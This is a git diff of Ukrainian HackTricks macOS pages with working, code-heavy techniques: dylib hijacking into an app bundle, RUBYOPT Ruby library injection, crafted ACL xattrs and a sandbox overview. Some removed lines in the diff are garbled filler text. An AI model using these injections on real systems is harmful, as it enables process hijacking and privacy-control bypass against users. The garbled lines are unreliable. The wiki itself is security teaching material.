експортувавши її. І не забудьте скомпілювати її з очікуваними версіями: {% code title="lib.m" %} ```objectivec @@ -117,14 +118,18 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -Скомпілюйте це: +Скомпілюйте це: {% code overflow="wrap" %} ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` -Шлях переекспорту, створений у бібліотеці, є відносним до завантажувача, змінимо його на абсолютний шлях до бібліотеки для експорту: +{% endcode %} + +Шлях повторного експорту, створений у бібліотеці, є відносним до завантажувача, давайте змінимо його на абсолютний шлях до бібліотеки для експорту: + +{% code overflow="wrap" %} ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 @@ -143,34 +148,42 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Наостанок, просто скопіюйте його до **захопленого місця**: +Нарешті просто скопіюйте це до **викраденого місця**: {% code overflow="wrap" %} ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` -and M_m m.md m.md m.md M of markdown e in m.md m.md m.md m.md m.md m.md m M on m markdown e in M; M and m markdown +{% endcode %} - m ceiling. M.m and on.meM markdown.m m markdown m markdown +І **виконайте** двійковий файл і перевірте, чи **бібліотека була завантажена**: - m ceiling. M.m and on.meM markdown.meM markdown.m m markdown m ceiling. M.m and on.meM markdown.m m markdown.m m markdown +
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
+Використання: [...]
+
- markdown, directory.md m m +{% hint style="info" %} +Гарний опис того, як зловживати цією вразливістю для зловживання дозволами камери Telegram, можна знайти за посиланням [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +{% endhint %} -## MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m +## Більший масштаб + +Якщо ви плануєте спробувати інжектувати бібліотеки в несподівані двійкові файли, ви можете перевірити повідомлення подій, щоб дізнатися, коли бібліотека завантажується всередині процесу (в цьому випадку видаліть printf і виконання `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index e19aca2b6..3b80d5a5f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# Впровадження Ruby-додатків macOS +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Використовуючи цю змінну середовища, можна **додавати нові параметри** до **ruby** кожного разу, коли він виконується. Хоча параметр **`-e`** не може бути використаний для вказання коду Ruby для виконання, можна використовувати параметри **`-I`** та **`-r`**, щоб додати нову теку до шляху завантаження бібліотек та потім **вказати бібліотеку для завантаження**. +Використовуючи цю змінну середовища, можна **додати нові параметри** до **ruby** щоразу, коли він виконується. Хоча параметр **`-e`** не може бути використаний для вказівки коду ruby для виконання, можна використовувати параметри **`-I`** та **`-r`**, щоб додати нову папку до шляху завантаження бібліотек, а потім **вказати бібліотеку для завантаження**. Створіть бібліотеку **`inject.rb`** у **`/tmp`**: @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -Створіть будь-де скрипт на Ruby, подібний до: +Створіть будь-де скрипт ruby, наприклад: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Потім запустіть довільний скрипт Ruby, щоб завантажити його за допомогою: +Тоді створіть довільний ruby-скрипт, щоб завантажити його за допомогою: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Цікавий факт, це працює навіть з параметром **`--disable-rubyopt`**: +Фунт факт, це працює навіть з параметром **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримати HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index 2365e3d6e..9158394ec 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,27 +1,33 @@ # macOS xattr-acls extra stuff +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
-Код функції get_acls +Код get_acls ```c // gcc -o get_acls get_acls #include @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
Код set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Підтримайте HackTricks +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index d9e12da06..5ecfb5a9d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# Пісочниця macOS +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Основна інформація +## Basic Information -Пісочниця MacOS (спочатку називалася Seatbelt) **обмежує додатки**, які працюють всередині пісочниці, до **дозволених дій, вказаних у профілі пісочниці**, з якою працює додаток. Це допомагає забезпечити, що **додаток буде отримувати доступ лише до очікуваних ресурсів**. +MacOS Sandbox (спочатку називався Seatbelt) **обмежує програми**, що працюють всередині пісочниці, до **дозволених дій, зазначених у профілі пісочниці**, з яким працює програма. Це допомагає забезпечити, що **програма буде отримувати доступ лише до очікуваних ресурсів**. -Будь-який додаток з **привілеєм** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарні файли Apple** зазвичай виконуються всередині пісочниці, і для публікації в **App Store** **цей привілей є обов'язковим**. Таким чином, більшість додатків будуть виконуватися всередині пісочниці. +Будь-яка програма з **правом** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарні файли Apple** зазвичай виконуються всередині пісочниці, і для публікації в **App Store** **це право є обов'язковим**. Тому більшість програм буде виконуватися всередині пісочниці. -Для контролю того, що процес може або не може робити, **пісочниця має гачки** в усіх **системних викликах** по всьому ядру. **Залежно** від **привілеємів** додатка пісочниця буде **дозволяти** певні дії. +Щоб контролювати, що процес може або не може робити, **пісочниця має хуки** у всіх **системних викликах** по всьому ядру. **Залежно** від **прав** програми пісочниця **дозволить** певні дії. Деякі важливі компоненти пісочниці: -* Розширення ядра `/System/Library/Extensions/Sandbox.kext` -* Приватний фреймворк `/System/Library/PrivateFrameworks/AppSandbox.framework` -* Демон, що працює в userland `/usr/libexec/sandboxd` +* **Розширення ядра** `/System/Library/Extensions/Sandbox.kext` +* **Приватна бібліотека** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* **Демон**, що працює в користувацькому просторі `/usr/libexec/sandboxd` * **Контейнери** `~/Library/Containers` -У папці контейнерів ви можете знайти **папку для кожного додатка, який виконується в пісочниці** з назвою ідентифікатора пакета: +Всередині папки контейнерів ви можете знайти **папку для кожної програми, виконуваної в пісочниці**, з назвою ідентифікатора пакета: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -У кожній папці з ідентифікатором пакета ви знайдете **plist** та **каталог Data** додатка: +Всередині кожної папки з ідентифікатором пакету ви можете знайти **plist** та **каталог даних** програми: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Зверніть увагу, що навіть якщо символьні посилання є там для "виходу" з пісочниці та доступу до інших папок, додатку все ще потрібно **мати дозволи** для доступу до них. Ці дозволи знаходяться всередині **`.plist`**. +Зверніть увагу, що навіть якщо символічні посилання існують для "втечі" з пісочниці та доступу до інших папок, додаток все ще повинен **мати дозволи** для їх доступу. Ці дозволи знаходяться всередині **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Все створене/змінене за допомогою застосунку у пісочниці отримає атрибут **карантину**. Це запобігне виклику Gatekeeper, якщо пісочниця спробує виконати щось за допомогою **`open`**. +Все, що створюється/модифікується пісочницею, отримає **атрибут карантину**. Це запобігатиме простору пісочниці, активуючи Gatekeeper, якщо пісочна програма намагатиметься виконати щось за допомогою **`open`**. {% endhint %} ### Профілі пісочниці -Профілі пісочниці - це файли конфігурації, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілю пісочниці (SBPL)**, яка використовує мову програмування [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)). +Профілі пісочниці - це конфігураційні файли, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілів пісочниці (SBPL)**, яка базується на [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) мові програмування. -Тут ви можете знайти приклад: +Ось приклад: ```scheme (version 1) ; First you get the version @@ -140,28 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` {% hint style="success" %} -Перевірте це [**дослідження**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/), **щоб перевірити більше дій, які можуть бути дозволені або заборонені.** +Перевірте це [**дослідження**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **щоб дізнатися більше про дії, які можуть бути дозволені або заборонені.** {% endhint %} -Важливі **системні служби** також працюють у власному **індивідуальному пісочниці**, таких як служба `mdnsresponder`. Ви можете переглянути ці індивідуальні **профілі пісочниці** в: +Важливі **системні служби** також працюють у своїх власних кастомних **пісочницях**, таких як служба `mdnsresponder`. Ви можете переглянути ці кастомні **профілі пісочниці** у: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** -* Інші профілі пісочниці можна перевірити за посиланням [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* Інші профілі пісочниці можна перевірити на [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Додатки **App Store** використовують **профіль** **`/System/Library/Sandbox/Profiles/application.sb`**. В цьому профілі можна перевірити, які дозволи, такі як **`com.apple.security.network.server`**, дозволяють процесу використовувати мережу. +Додатки з **App Store** використовують **профіль** **`/System/Library/Sandbox/Profiles/application.sb`**. Ви можете перевірити в цьому профілі, як права, такі як **`com.apple.security.network.server`**, дозволяють процесу використовувати мережу. -SIP - це профіль пісочниці, який називається platform\_profile в /System/Library/Sandbox/rootless.conf +SIP - це профіль пісочниці, названий platform\_profile у /System/Library/Sandbox/rootless.conf ### Приклади профілів пісочниці -Для запуску додатка з **конкретним профілем пісочниці** можна використовувати: +Щоб запустити додаток з **конкретним профілем пісочниці**, ви можете використовувати: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` {% tabs %} -{% tab title="доторкнутися" %} -{% code title="доторкнутися.sb" %} +{% tab title="touch" %} +{% code title="touch.sb" %} ```scheme (version 1) (deny default) @@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Зверніть увагу, що **програмне забезпечення, розроблене Apple**, яке працює на **Windows**, **не має додаткових заходів безпеки**, таких як ізоляція додатків. +Зверніть увагу, що **програмне забезпечення**, написане **Apple**, яке працює на **Windows**, **не має додаткових заходів безпеки**, таких як пісочниця для додатків. {% endhint %} -Приклади обхідів: +Приклади обходу: * 